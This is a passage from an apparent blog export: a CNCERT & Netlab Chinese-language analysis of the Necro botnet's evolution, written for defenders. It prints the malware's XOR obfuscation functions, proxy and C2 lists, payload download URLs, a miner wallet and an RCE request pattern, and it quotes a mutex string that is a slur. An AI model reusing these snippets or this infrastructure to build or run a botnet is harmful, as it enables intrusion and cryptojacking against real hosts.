MD5\n```\n4bc46deb5372d11a2600377931db71c8\n0205f44954c45fb24251087635c53296\n0e86f26659eb6a32a09e82e42ee5d720\n3155dd24f5377de6f43ff06981a6bbf2\n3255a45b2ebe187c429fd088508db6b0\n3484b80b33ee8d53336090d91ad31a6b\n769bc673d858b063265d331ed226464f\n8de9de4e14117e3ce4dfa60dacd673ef\n9cb73e83b48062432871539b3f625a21\nd209fe7d62f517de8b1cf1a5697e67c2\ne84a59bb18afff664e887744d8afebd0\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 60c899953819e500076340c9 |
post | null | 2021-06-16T09:48:43.000Z | 63873b9a8b1c1e0007f52fd5 | necro-history-tracking-2103-2106 | 0 | 2021-09-29T10:08:34.000Z | public | draft | null | null | Necro进化史及当前进展 | <!--kg-card-begin: markdown--><h2 id="">版权</h2>
<p>版权声明：本文为CNCERT & Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。</p>
<h2 id="">概述</h2>
<p>过去的3个月，Necro家族活动非常频繁，持续的更新他们的恶意代码利用及投递方式，通过中国互联网信息中心的大网异常事件感知系统和Netlab蜜罐，我们一共捕捉了10多个不同版本的 setup.py 脚本代码，可以清楚的跟踪到它的更新发展情况。</p>
<p>在它的更新过程中，伴随着各种新漏洞的利用尝试、新的域名的使用，以及对应的新的样本下载URL，我们的BotMon系统可以有效地检测这些新的数据异常点，实现及时的跟踪分析及情报产出。</p>
<h2 id="">更新详述</h2>
<p>我们以3.11号的样本为基础版本，顺序的描述过去几个有比较显著功能逻辑改变的版本更新。恶意代码中，作者会用一个字符串作为mutex来避免重复执行，该字符串也可以很好的标注了作者的更新过程，不同的mutex可以对应necro不同的大版本更新，我们也可以利用这个mutex字符串来作为”版本标志“，简单的把这段时间作者的更新分为三个阶段：</p>
<ul>
<li>爆发期：necro使用DGA+Tor双杀linux+win，并且在这段时间，作者频繁的上线/下线多种漏洞利用来测试效果，对应的版本标志为
<ul>
<li>m4t3xl0ck</li>
<li>gayniggerfag</li>
</ul>
</li>
<li>工程期：作者放弃了DGA，更新了大量的代理来使用tor，对功能及稳定性做了修改，对应的版本标志为
<ul>
<li>internationalCyberWarefareV3</li>
<li>internationalCyberWarefareV4</li>
<li>internationalCyberWarefareV5.2_repz</li>
</ul>
</li>
<li>稳定期：这个版本自5.28更新后，较长一段时间没有看到necro更频繁的活动，但可以看到对应的CC稳定活跃中，对应的版本标志为
<ul>
<li>0d044454-b0d8-4817-870c-4e115455a2cc</li>
</ul>
</li>
</ul>
<p>直至6.18，我们再次看到necro的更新，过去一段时间的整体更新时间线如下：</p>
<p><img src="__GHOST_URL__/content/images/2021/06/--2021-06-19-22.10.35.png" alt="--2021-06-19-22.10.35" loading="lazy"></p>
<p>我们先顺序描述一下各个版本的更新点，然后着重介绍最新一次更新的内容。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="0311">更新时间：03.11</h3>
<ul>
<li>样本哈希：3bdfdedbb7d20ef802ef06508c3be062</li>
<li>版本标志：m4t3xl0ck</li>
<li>传播混淆算法</li>
</ul>
<pre><code>def cHDaiamdsU(s):
myEIqgcbj = [212, 55, 14, 121, 109, 247, 119, 92, 152, 42, 175, 149, 49, 242, 43, 70, 250, 248, 68]
return ''.join([chr(ord(c) ^ myEIqgcbj[i % len(myEIqgcbj)]) for i, c in enumerate(s)])
</code></pre>
<ul>
<li>代理IP池：</li>
</ul>
<pre><code>[
'77.238.128.166:9050', '192.248.190.123:8017', '192.248.190.123:8009',
'213.251.238.186:9050', '178.62.242.15:9107', '88.198.82.11:9051',
'52.3.115.71:9050', '83.217.28.46:9050', '147.135.208.44:9095',
'188.166.34.137:9000', '103.233.206.22:179', '161.97.71.22:9000',
'54.161.239.214:9050', '194.5.178.150:666', '144.91.74.241:9080',
'134.209.230.13:8080', '201.40.122.152:9050', '206.81.27.29:8080',
'127.0.0.1:9050'
]
</code></pre>
<ul>
<li>DGA种子：0x7774DEAD，对应活跃的CC：
<ul>
<li>ntxkg0la99w.zapto.org</li>
</ul>
</li>
</ul>
<p>这个版本是Necro首次加入DGA，并且使用Tor网络，更多的细节，可以参考我们之前的文章<a href="__GHOST_URL__/necro-shi-yong-tor-dong-tai-yu-ming-dga-shuang-sha-windows-linux/">Necro再次升级，使用Tor+动态域名DGA 双杀Windows&Linux</a></p>
<h3 id="0315">更新时间：03.15</h3>
<ul>
<li>样本哈希：b8bbb2756b4e078300c2b7bd1ec56f02</li>
<li>版本标志：gayniggerfag</li>
<li>功能更新：新增了ssh 爆破</li>
</ul>
<h3 id="0319">更新时间：03.19</h3>
<ul>
<li>样本哈希：4c34f8ac565f46a034ee6ea53b231b2c</li>
<li>版本标志：gayniggerfag</li>
<li>功能更新：新增一个漏洞利用 CVE-2021-21972</li>
</ul>
<h3 id="0412">更新时间：04.12</h3>
<ul>
<li>样本哈希：5d4524e8e44ed168aec27123f8e35649</li>
<li>版本标志：gayniggerfag</li>
<li>功能更新：新增win32gui调用，尝试隐藏win下的python.exe窗口</li>
</ul>
<h3 id="0427">更新时间：04.27</h3>
<ul>
<li>样本哈希：11b5b3b577b8748b0b46f4fb565a0160</li>
<li>版本标志：gayniggerfag</li>
<li>传播混淆算法更新：</li>
</ul>
<pre><code>def WxWBFfmMw(s):
zHRuQPeoWfu = [148, 29, 187, 193, 114, 53, 143, 138, 26]
return ''.join([chr(ord(c) ^ zHRuQPeoWfu[i % len(zHRuQPeoWfu)]) for i, c in enumerate(s)])
</code></pre>
<ul>
<li>功能更新：
<ul>
<li>ssh爆破码表更新，新增很多用户名密码对数据</li>
<li>新增漏洞利用：CVE-2017-16921</li>
</ul>
</li>
</ul>
<h3 id="0509">更新时间：05.09</h3>
<ul>
<li>样本哈希：bf07d1c8e99ac17b11399327f3d818b4</li>
<li>版本标志：gayniggerfag</li>
<li>功能更新：
<ul>
<li>新增漏洞利用 CVE_2021_29003</li>
</ul>
</li>
<li>DGA种子更新： 0x7228827A，对应新活跃的dga域名：
<ul>
<li>can6dodp.servepics.com</li>
<li>ngiwge486ln9daoo.hopto.org</li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="0518">更新时间：05.18</h3>
<ul>
<li>样本哈希：f9ffcd2ef243a1c4942cdeeab20e4e8c</li>
<li>版本标志：internationalCyberWarefareV3</li>
<li>功能更新：
<ul>
<li>新增利用：CVE-2019-12725</li>
<li>新增利用：未知设备的RCE：“GET /nrdh.php?cmd=${cmd}”</li>
<li>SMB 扫描利用</li>
<li>取消了ssdp DRDoS 攻击</li>
</ul>
</li>
<li>代理IP池更新：</li>
</ul>
<pre><code>[
'195.123.234.176:9051', '172.105.249.157:8080', '46.28.207.160:9051',
'185.35.223.76:9050', '45.62.217.48:8383', '146.59.13.151:9999',
'185.212.129.190:9151', '185.212.129.193:9160', '185.212.131.56:9151',
'185.212.129.216:9160', '91.198.137.31:3569', '167.172.123.221:9200',
'59.12.222.76:9050', '95.179.132.241:9050', '167.71.7.83:9050',
'164.68.123.119:9200', '45.32.171.166:9050', '207.201.218.182:9051',
'185.212.129.199:9151', '54.221.163.38:9050', '159.89.155.142:9090',
'192.71.244.89:9050', '185.162.93.62:9050', '185.212.129.86:9151',
'185.212.128.75:9160', '45.79.72.85:9050', '18.218.229.116:4001',
'185.212.131.61:9151', '45.90.59.40:9051', '45.84.191.82:10001',
'159.69.10.250:9050', '199.241.139.7:9050', '54.243.171.221:9050',
'185.224.134.251:9100', '149.202.9.7:9898', '24.216.19.234:9050',
'91.237.71.5:9216', '165.22.79.241:9050', '50.16.118.56:9050',
'8.208.90.167:8852'
]
</code></pre>
<ul>
<li>
<p>放弃DGA，使用固定的Tor CC：</p>
<ul>
<li>bp65pce2vsk7wpvy2fyehel25ovw4v7nve3lknwzta7gtiuy6jm7l4yd.onion.ws</li>
<li>o4hlcckwlbcy7qhhohqswpqla6wx7c5xmsvk3k4rohknng4nofvgz5id.onion</li>
<li>p2l44qilgm433bad5gbszb4mluxuejwkjaaon767m5dzuuc7mjqhcead.onion</li>
<li>3og7wipgh3ruavi7gd6y3uzhcurazasln55hb6hboiavyk6pugkcdpqd.onion</li>
</ul>
</li>
<li>
<p>传播混淆算法更新：</p>
</li>
</ul>
<pre><code>nmask = 'nmask#\xa6\x16X\x90\xba;\x85\x8ermEtD\xb4l\x10r\xc7\x91,a\x06\xea\x00`\xf072\x94'
def PIfmMyYaBR(s):
global nmask
return ''.join([chr(ord(c) ^ ord(nmask[i % len(nmask)])) for i, c in enumerate(s)])
</code></pre>
<h3 id="0522">更新时间：05.22</h3>
<ul>
<li>
<p>样本哈希：43dda4527333a14b960444af90bf51b3</p>
</li>
<li>
<p>版本标志：internationalCyberWarefareV4</p>
</li>
<li>
<p>功能更新：</p>
<ul>
<li>取消了上一个版本的SMB渗透逻辑，新增SMB用户名密码爆破+命令执行</li>
<li>针对NT系统，使用 schtasks /CREATE 新增计划任务保证自身执行</li>
</ul>
</li>
<li>
<p>传播混淆算法更新：</p>
</li>
</ul>
<pre><code class="language-python">def XnRFWYoI(s):
nmask='nmask\xc3\xf6\xe3\xfa\x44\x60\x1a\x6f\x12\x76\x2b\x9a\xfa\xac\xff\xde\x9e\x8d\xd8\x49\x12\x60\x2d\x2f\x7c\x04\x57\x1c\x55\x28\x77\x05\xf4\x5d\x0c\x53\xbb\xa9\x85\x13\xa8\x61\x70\xd5\xe2\xeb\x11\x23\x49\x9d\x5f\xea\xa7\xe6\x11\xd9\xf9\x25\x4e\x02\x68\x81\x25\x88\xad\x69\x6e\x50\x05\xcc\x96\xf1\x22\x65\x67\x2b\x64\x65\xed\x70\xec\x3b\x2f\xf2\x6b\x99\x41\x5d\xbf\xca\x5e\xd4\xa1\xec\x5d\x53\x93\x2c\x56\xef\x6a\xdb\xae\x1f\xd0\xf7\x28\x54\x0b\x15\x49\x26\x9e\xe7\xe6\xdc\x5b\x57\xea\x42\x00\xbb\xd8\x06\x10\x50\x03\xc5'
return ''.join([chr(ord(c) ^ ord(nmask[i % len(nmask)])) for i, c in enumerate(s)])
</code></pre>
<h3 id="0523">更新时间：05.23</h3>
<ul>
<li>
<p>样本哈希：9467b6ea2515b2da370e86f6020cd78e</p>
</li>
<li>
<p>版本标志：internationalCyberWarefareV5.2_repz</p>
</li>
<li>
<p>功能更新：</p>
<ul>
<li>新增telnet扫描渗透来传播自身</li>
<li>新增“assault”指令，可疑对一个IP段发起UDPflood攻击</li>
<li>下载rootkit的时候，同时下载xmrig.exe 用于挖矿，配置信息为：
<ul>
<li>矿池：pool.supportxmr.com:5555</li>
<li>钱包：45iHeQwQaunWXryL9YZ2egJxKvWBtWQUE4PKitu1VwYNUqkhHt6nyCTQb2dbvDRqDPXveNq94DG9uTndKcWLYNoG2uonhgH</li>
</ul>
</li>
</ul>
</li>
<li>
<p>代理IP池更新：</p>
</li>
</ul>
<pre><code>[
'195.123.234.176:9051','46.28.207.160:9051','185.35.223.76:9050',
'45.62.217.48:8383','146.59.13.151:9999','185.212.129.190:9151',
'185.212.129.193:9160','185.212.131.56:9151','185.212.129.216:9160',
'91.198.137.31:3569','161.97.66.62:1000','192.249.127.96:22',
'185.212.131.72:9151','165.232.72.180:666','172.104.56.209:9050',
'194.5.178.42:9001','185.212.131.66:9151','185.212.131.65:9151',
'185.212.131.63:9151','59.12.222.76:9050','95.179.132.241:9050',
'167.71.7.83:9050','164.68.123.119:9200','45.32.171.166:9050',
'207.201.218.182:9051','185.212.129.199:9151','54.221.163.38:9050',
'185.162.93.62:9050','185.212.129.86:9151','185.212.128.75:9160',
'45.79.72.85:9050','18.218.229.116:4001','185.212.131.61:9151',
'45.90.59.40:9051','45.84.191.82:10001','35.239.176.86:9208',
'159.69.10.250:9050','199.241.139.7:9050','135.148.11.150:5560',
'91.132.139.171:9050','51.195.19.140:9050','217.115.11.186:9050',
'178.128.84.253:9050','80.87.194.27:9050','54.243.171.221:9050',
'185.224.134.251:9100','149.202.9.7:9898','24.216.19.234:9050',
'91.237.71.5:9216','165.22.79.241:9050','50.16.118.56:9050',
'8.208.90.167:8852','52.23.34.138:9050','94.181.44.45:9050',
'49.12.104.217:9988','45.147.231.32:9050','103.216.62.26:9090',
'95.169.186.58:9050','76.65.60.220:9050'
]
</code></pre>
<ul>
<li>新的CC及下载域名:
<ul>
<li>dui25pvlzkfzpkkc.link</li>
<li>dui25pvlzkfzpkkc.cab</li>
<li>dui25pvlzkfzpkkc.pet</li>
<li>dui25pvlzkfzpkkc.ws</li>
<li>download.service-exec.net</li>
<li>dui25pvlzkfzpkkc.onion</li>
</ul>
</li>
</ul>
<h3 id="0528">更新时间：05.28</h3>
<ul>
<li>样本哈希：9467b6ea2515b2da370e86f6020cd78e</li>
<li>版本标志：0d044454-b0d8-4817-870c-4e115455a2cc</li>
<li>新的CC：
<ul>
<li>dui25pvlzkfzpkkc.onion.ws</li>
<li>dui25pvlzkfzpkkc.onion.link</li>
<li>dui25pvlzkfzpkkc.onion.cab</li>
<li>dui25pvlzkfzpkkc.onion.pet</li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="0618">最新进展 （06.18）</h2>
<ul>
<li>样本哈希：deca8b40ab21eea0530cf0ae08f4ac8e</li>
<li>版本标志：0d044454-b0d8-4817-870c-4e115455a2cc</li>
</ul>
<p>我们在6月16号开始，又接连发现了necro的更新活动，在他们另外一个投递通道中的样本文件频繁在发生变化</p>
<pre><code>2021-06-20 http://136.144.41.164/EvilObject.class 58674253074f05c623ab7b9684beaed0
2021-06-18 http://136.144.41.164/EvilObject.class 333dd1aeb60ba0bbdbd09aff5b674c0a
2021-06-16 http://136.144.41.164/EvilObject.class 10ba40487bd67bc946b6feb9cbf386e5
</code></pre>
<p>上述class文件同时也会投递最新的 setup.py</p>
<pre><code>http://136.144.41.164/setup.py deca8b40ab21eea0530cf0ae08f4ac8e
</code></pre>
<ul>
<li>
<p>功能更新：<br>
1，5.18的时候取消了 ssh 爆破，在最新版本中又加了回来<br>
2，新增文件上传webshell的扫描及利用测试</p>
</li>
<li>
<p>新的下载域名：</p>
<ul>
<li>ccjduul4hxini64r.onion.link</li>
<li>ccjduul4hxini64r.onion.cab</li>
<li>ccjduul4hxini64r.onion.pet</li>
<li>ccjduul4hxini64r.onion.ws</li>
</ul>
</li>
<li>
<p>以及新的Tor CC：</p>
<ul>
<li>ccjduul4hxini64r.onion</li>
<li>g2saptf4gwxg2uwhus3zbh5lorxybvymmusw7kzq3u2xkwd6cdb4raid.onion</li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">小结</h2>
<p>当前necro仍在持续活跃，在CNCERT的系统中仍能实时捕捉到它最新的活动痕迹，包括Payload投递及下载记录：</p>
<p><img src="__GHOST_URL__/content/images/2021/06/5.jpg" alt="5" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2021/06/6.jpg" alt="6" loading="lazy"></p>
<p>同时，我们可以使用DNS数据来评估necro可能的影响范围：</p>
<p><img src="__GHOST_URL__/content/images/2021/06/1.jpg" alt="1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2021/06/2.jpg" alt="2" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2021/06/3.jpg" alt="3" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2021/06/4.jpg" alt="4" loading="lazy"></p>
<p>这四张图是前述的necro不同阶段使用的CC域名或者下载域名，在同时间轴上的请求趋势统计，从图上可以清楚的看到necro的更新过程中不同域名的生命周期。</p>
<p>在我们的数据视野内，这批域名的历史请求量已经超过了50万。如果使用CNCERT的数据来估算necro当前活跃的几个CC域名，其天级别请求应该稳定在在10万+/天。</p>
<!--kg-card-end: markdown--> | 版权
版权声明：本文为CNCERT & Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
概述
过去的3个月，Necro家族活动非常频繁，持续的更新他们的恶意代码利用及投递方式，通过中国互联网信息中心的大网异常事件感知系统和Netlab蜜罐，我们一共捕捉了10多个不同版本的 setup.py 脚本代码，可以清楚的跟踪到它的更新发展情况。
在它的更新过程中，伴随着各种新漏洞的利用尝试、新的域名的使用，以及对应的新的样本下载URL，我们的BotMon系统可以有效地检测这些新的数据异常点，实现及时的跟踪分析及情报产出。
更新详述
我们以3.11号的样本为基础版本，顺序的描述过去几个有比较显著功能逻辑改变的版本更新。恶意代码中，作者会用一个字符串作为mutex来避免重复执行，该字符串也可以很好的标注了作者的更新过程，不同的mutex可以对应necro不同的大版本更新，我们也可以利用这个mutex字符串来作为”版本标志“，简单的把这段时间作者的更新分为三个阶段：
* 爆发期：necro使用DGA+Tor双杀linux+win，并且在这段时间，作者频繁的上线/下线多种漏洞利用来测试效果，对应的版本标志为
* m4t3xl0ck
* gayniggerfag
* 工程期：作者放弃了DGA，更新了大量的代理来使用tor，对功能及稳定性做了修改，对应的版本标志为
* internationalCyberWarefareV3
* internationalCyberWarefareV4
* internationalCyberWarefareV5.2_repz
* 稳定期：这个版本自5.28更新后，较长一段时间没有看到necro更频繁的活动，但可以看到对应的CC稳定活跃中，对应的版本标志为
* 0d044454-b0d8-4817-870c-4e115455a2cc
直至6.18，我们再次看到necro的更新，过去一段时间的整体更新时间线如下：
我们先顺序描述一下各个版本的更新点，然后着重介绍最新一次更新的内容。
更新时间：03.11
* 样本哈希：3bdfdedbb7d20ef802ef06508c3be062
* 版本标志：m4t3xl0ck
* 传播混淆算法
def cHDaiamdsU(s):
myEIqgcbj = [212, 55, 14, 121, 109, 247, 119, 92, 152, 42, 175, 149, 49, 242, 43, 70, 250, 248, 68]
return ''.join([chr(ord(c) ^ myEIqgcbj[i % len(myEIqgcbj)]) for i, c in enumerate(s)])
* 代理IP池：
[
'77.238.128.166:9050', '192.248.190.123:8017', '192.248.190.123:8009',
'213.251.238.186:9050', '178.62.242.15:9107', '88.198.82.11:9051',
'52.3.115.71:9050', '83.217.28.46:9050', '147.135.208.44:9095',
'188.166.34.137:9000', '103.233.206.22:179', '161.97.71.22:9000',
'54.161.239.214:9050', '194.5.178.150:666', '144.91.74.241:9080',
'134.209.230.13:8080', '201.40.122.152:9050', '206.81.27.29:8080',
'127.0.0.1:9050'
]
* DGA种子：0x7774DEAD，对应活跃的CC：
* ntxkg0la99w.zapto.org
这个版本是Necro首次加入DGA，并且使用Tor网络，更多的细节，可以参考我们之前的文章Necro再次升级，使用Tor+动态域名DGA 双杀Windows&Linux
更新时间：03.15
* 样本哈希：b8bbb2756b4e078300c2b7bd1ec56f02
* 版本标志：gayniggerfag
* 功能更新：新增了ssh 爆破
更新时间：03.19
* 样本哈希：4c34f8ac565f46a034ee6ea53b231b2c
* 版本标志：gayniggerfag
* 功能更新：新增一个漏洞利用 CVE-2021-21972
更新时间：04.12
* 样本哈希：5d4524e8e44ed168aec27123f8e35649
* 版本标志：gayniggerfag
* 功能更新：新增win32gui调用，尝试隐藏win下的python.exe窗口
更新时间：04.27
* 样本哈希：11b5b3b577b8748b0b46f4fb565a0160
* 版本标志：gayniggerfag
* 传播混淆算法更新：
def WxWBFfmMw(s):
zHRuQPeoWfu = [148, 29, 187, 193, 114, 53, 143, 138, 26]
return ''.join([chr(ord(c) ^ zHRuQPeoWfu[i % len(zHRuQPeoWfu)]) for i, c in enumerate(s)])
* 功能更新：
* ssh爆破码表更新，新增很多用户名密码对数据
* 新增漏洞利用：CVE-2017-16921
更新时间：05.09
* 样本哈希：bf07d1c8e99ac17b11399327f3d818b4
* 版本标志：gayniggerfag
* 功能更新：
* 新增漏洞利用 CVE_2021_29003
* DGA种子更新： 0x7228827A，对应新活跃的dga域名：
* can6dodp.servepics.com
* ngiwge486ln9daoo.hopto.org
更新时间：05.18
* 样本哈希：f9ffcd2ef243a1c4942cdeeab20e4e8c
* 版本标志：internationalCyberWarefareV3
* 功能更新：
* 新增利用：CVE-2019-12725
* 新增利用：未知设备的RCE：“GET /nrdh.php?cmd=${cmd}”
* SMB 扫描利用
* 取消了ssdp DRDoS 攻击
* 代理IP池更新：
[
'195.123.234.176:9051', '172.105.249.157:8080', '46.28.207.160:9051',
'185.35.223.76:9050', '45.62.217.48:8383', '146.59.13.151:9999',
'185.212.129.190:9151', '185.212.129.193:9160', '185.212.131.56:9151',
'185.212.129.216:9160', '91.198.137.31:3569', '167.172.123.221:9200',
'59.12.222.76:9050', '95.179.132.241:9050', '167.71.7.83:9050',
'164.68.123.119:9200', '45.32.171.166:9050', '207.201.218.182:9051',
'185.212.129.199:9151', '54.221.163.38:9050', '159.89.155.142:9090',
'192.71.244.89:9050', '185.162.93.62:9050', '185.212.129.86:9151',
'185.212.128.75:9160', '45.79.72.85:9050', '18.218.229.116:4001',
'185.212.131.61:9151', '45.90.59.40:9051', '45.84.191.82:10001',
'159.69.10.250:9050', '199.241.139.7:9050', '54.243.171.221:9050',
'185.224.134.251:9100', '149.202.9.7:9898', '24.216.19.234:9050',
'91.237.71.5:9216', '165.22.79.241:9050', '50.16.118.56:9050',
'8.208.90.167:8852'
]
*
放弃DGA，使用固定的Tor CC：
* bp65pce2vsk7wpvy2fyehel25ovw4v7nve3lknwzta7gtiuy6jm7l4yd.onion.ws
* o4hlcckwlbcy7qhhohqswpqla6wx7c5xmsvk3k4rohknng4nofvgz5id.onion
* p2l44qilgm433bad5gbszb4mluxuejwkjaaon767m5dzuuc7mjqhcead.onion
* 3og7wipgh3ruavi7gd6y3uzhcurazasln55hb6hboiavyk6pugkcdpqd.onion
*
传播混淆算法更新：
nmask = 'nmask#\xa6\x16X\x90\xba;\x85\x8ermEtD\xb4l\x10r\xc7\x91,a\x06\xea\x00`\xf072\x94'
def PIfmMyYaBR(s):
global nmask
return ''.join([chr(ord(c) ^ ord(nmask[i % len(nmask)])) for i, c in enumerate(s)])
更新时间：05.22
*
样本哈希：43dda4527333a14b960444af90bf51b3
*
版本标志：internationalCyberWarefareV4
*
功能更新：
* 取消了上一个版本的SMB渗透逻辑，新增SMB用户名密码爆破+命令执行
* 针对NT系统，使用 schtasks /CREATE 新增计划任务保证自身执行
*
传播混淆算法更新：
def XnRFWYoI(s):
nmask='nmask\xc3\xf6\xe3\xfa\x44\x60\x1a\x6f\x12\x76\x2b\x9a\xfa\xac\xff\xde\x9e\x8d\xd8\x49\x12\x60\x2d\x2f\x7c\x04\x57\x1c\x55\x28\x77\x05\xf4\x5d\x0c\x53\xbb\xa9\x85\x13\xa8\x61\x70\xd5\xe2\xeb\x11\x23\x49\x9d\x5f\xea\xa7\xe6\x11\xd9\xf9\x25\x4e\x02\x68\x81\x25\x88\xad\x69\x6e\x50\x05\xcc\x96\xf1\x22\x65\x67\x2b\x64\x65\xed\x70\xec\x3b\x2f\xf2\x6b\x99\x41\x5d\xbf\xca\x5e\xd4\xa1\xec\x5d\x53\x93\x2c\x56\xef\x6a\xdb\xae\x1f\xd0\xf7\x28\x54\x0b\x15\x49\x26\x9e\xe7\xe6\xdc\x5b\x57\xea\x42\x00\xbb\xd8\x06\x10\x50\x03\xc5'
return ''.join([chr(ord(c) ^ ord(nmask[i % len(nmask)])) for i, c in enumerate(s)])
更新时间：05.23
*
样本哈希：9467b6ea2515b2da370e86f6020cd78e
*
版本标志：internationalCyberWarefareV5.2_repz
*
功能更新：
* 新增telnet扫描渗透来传播自身
* 新增“assault”指令，可疑对一个IP段发起UDPflood攻击
* 下载rootkit的时候，同时下载xmrig.exe 用于挖矿，配置信息为：
* 矿池：pool.supportxmr.com:5555
* 钱包：45iHeQwQaunWXryL9YZ2egJxKvWBtWQUE4PKitu1VwYNUqkhHt6nyCTQb2dbvDRqDPXveNq94DG9uTndKcWLYNoG2uonhgH
*
代理IP池更新：
[
'195.123.234.176:9051','46.28.207.160:9051','185.35.223.76:9050',
'45.62.217.48:8383','146.59.13.151:9999','185.212.129.190:9151',
'185.212.129.193:9160','185.212.131.56:9151','185.212.129.216:9160',
'91.198.137.31:3569','161.97.66.62:1000','192.249.127.96:22',
'185.212.131.72:9151','165.232.72.180:666','172.104.56.209:9050',
'194.5.178.42:9001','185.212.131.66:9151','185.212.131.65:9151',
'185.212.131.63:9151','59.12.222.76:9050','95.179.132.241:9050',
'167.71.7.83:9050','164.68.123.119:9200','45.32.171.166:9050',
'207.201.218.182:9051','185.212.129.199:9151','54.221.163.38:9050',
'185.162.93.62:9050','185.212.129.86:9151','185.212.128.75:9160',
'45.79.72.85:9050','18.218.229.116:4001','185.212.131.61:9151',
'45.90.59.40:9051','45.84.191.82:10001','35.239.176.86:9208',
'159.69.10.250:9050','199.241.139.7:9050','135.148.11.150:5560',
'91.132.139.171:9050','51.195.19.140:9050','217.115.11.186:9050',
'178.128.84.253:9050','80.87.194.27:9050','54.243.171.221:9050',
'185.224.134.251:9100','149.202.9.7:9898','24.216.19.234:9050',
'91.237.71.5:9216','165.22.79.241:9050','50.16.118.56:9050',
'8.208.90.167:8852','52.23.34.138:9050','94.181.44.45:9050',
'49.12.104.217:9988','45.147.231.32:9050','103.216.62.26:9090',
'95.169.186.58:9050','76.65.60.220:9050'
]
* 新的CC及下载域名:
* dui25pvlzkfzpkkc.link
* dui25pvlzkfzpkkc.cab
* dui25pvlzkfzpkkc.pet
* dui25pvlzkfzpkkc.ws
* download.service-exec.net
* dui25pvlzkfzpkkc.onion
更新时间：05.28
* 样本哈希：9467b6ea2515b2da370e86f6020cd78e
* 版本标志：0d044454-b0d8-4817-870c-4e115455a2cc
* 新的CC：
* dui25pvlzkfzpkkc.onion.ws
* dui25pvlzkfzpkkc.onion.link
* dui25pvlzkfzpkkc.onion.cab
* dui25pvlzkfzpkkc.onion.pet
最新进展 （06.18）
* 样本哈希：deca8b40ab21eea0530cf0ae08f4ac8e
* 版本标志：0d044454-b0d8-4817-870c-4e115455a2cc
我们在6月16号开始，又接连发现了necro的更新活动，在他们另外一个投递通道中的样本文件频繁在发生变化
2021-06-20 http://136.144.41.164/EvilObject.class 58674253074f05c623ab7b9684beaed0
2021-06-18 http://136.144.41.164/EvilObject.class 333dd1aeb60ba0bbdbd09aff5b674c0a
2021-06-16 http://136.144.41.164/EvilObject.class 10ba40487bd67bc946b6feb9cbf386e5
上述class文件同时也会投递最新的 setup.py
http://136.144.41.164/setup.py deca8b40ab21eea0530cf0ae08f4ac8e
*
功能更新：
1，5.18的时候取消了 ssh 爆破，在最新版本中又加了回来
2，新增文件上传webshell的扫描及利用测试
*
新的下载域名：
* ccjduul4hxini64r.onion.link
* ccjduul4hxini64r.onion.cab
* ccjduul4hxini64r.onion.pet
* ccjduul4hxini64r.onion.ws
*
以及新的Tor CC：
* ccjduul4hxini64r.onion
* g2saptf4gwxg2uwhus3zbh5lorxybvymmusw7kzq3u2xkwd6cdb4raid.onion
小结
当前necro仍在持续活跃，在CNCERT的系统中仍能实时捕捉到它最新的活动痕迹，包括Payload投递及下载记录：
同时，我们可以使用DNS数据来评估necro可能的影响范围：
这四张图是前述的necro不同阶段使用的CC域名或者下载域名，在同时间轴上的请求趋势统计，从图上可以清楚的看到necro的更新过程中不同域名的生命周期。
在我们的数据视野内，这批域名的历史请求量已经超过了50万。如果使用CNCERT的数据来估算necro当前活跃的几个CC域名，其天级别请求应该稳定在在10万+/天。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 版权\n版权声明：本文为CNCERT & Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。\n\n## 概述\n过去的3个月，Necro家族活动非常频繁，持续的更新他们的恶意代码利用及投递方式，通过中国互联网信息中心的大网异常事件感知系统和Netlab蜜罐，我们一共捕捉了10多个不同版本的 setup.py 脚本代码，可以清楚的跟踪到它的更新发展情况。\n\n在它的更新过程中，伴随着各种新漏洞的利用尝试、新的域名的使用，以及对应的新的样本下载URL，我们的BotMon系统可以有效地检测这些新的数据异常点，实现及时的跟踪分析及情报产出。\n\n\n## 更新详述\n\n我们以3.11号的样本为基础版本，顺序的描述过去几个有比较显著功能逻辑改变的版本更新。恶意代码中，作者会用一个字符串作为mutex来避免重复执行，该字符串也可以很好的标注了作者的更新过程，不同的mutex可以对应necro不同的大版本更新，我们也可以利用这个mutex字符串来作为”版本标志“，简单的把这段时间作者的更新分为三个阶段：\n\n* 爆发期：necro使用DGA+Tor双杀linux+win，并且在这段时间，作者频繁的上线/下线多种漏洞利用来测试效果，对应的版本标志为\n * m4t3xl0ck\n * gayniggerfag\n* 工程期：作者放弃了DGA，更新了大量的代理来使用tor，对功能及稳定性做了修改，对应的版本标志为\n * internationalCyberWarefareV3\n * internationalCyberWarefareV4\n * internationalCyberWarefareV5.2_repz\n* 稳定期：这个版本自5.28更新后，较长一段时间没有看到necro更频繁的活动，但可以看到对应的CC稳定活跃中，对应的版本标志为\n * 0d044454-b0d8-4817-870c-4e115455a2cc\n \n\n直至6.18，我们再次看到necro的更新，过去一段时间的整体更新时间线如下：\n\n\n\n\n我们先顺序描述一下各个版本的更新点，然后着重介绍最新一次更新的内容。"}],["markdown",{"markdown":"### 更新时间：03.11\n* 样本哈希：3bdfdedbb7d20ef802ef06508c3be062\n* 版本标志：m4t3xl0ck\n* 传播混淆算法\n```\ndef cHDaiamdsU(s):\n myEIqgcbj = [212, 55, 14, 121, 109, 247, 119, 92, 152, 42, 175, 149, 49, 242, 43, 70, 250, 248, 68]\n return ''.join([chr(ord(c) ^ myEIqgcbj[i % len(myEIqgcbj)]) for i, c in enumerate(s)])\n\n```\n* 代理IP池：\n```\n[\n '77.238.128.166:9050', '192.248.190.123:8017', '192.248.190.123:8009',\n '213.251.238.186:9050', '178.62.242.15:9107', '88.198.82.11:9051',\n '52.3.115.71:9050', '83.217.28.46:9050', 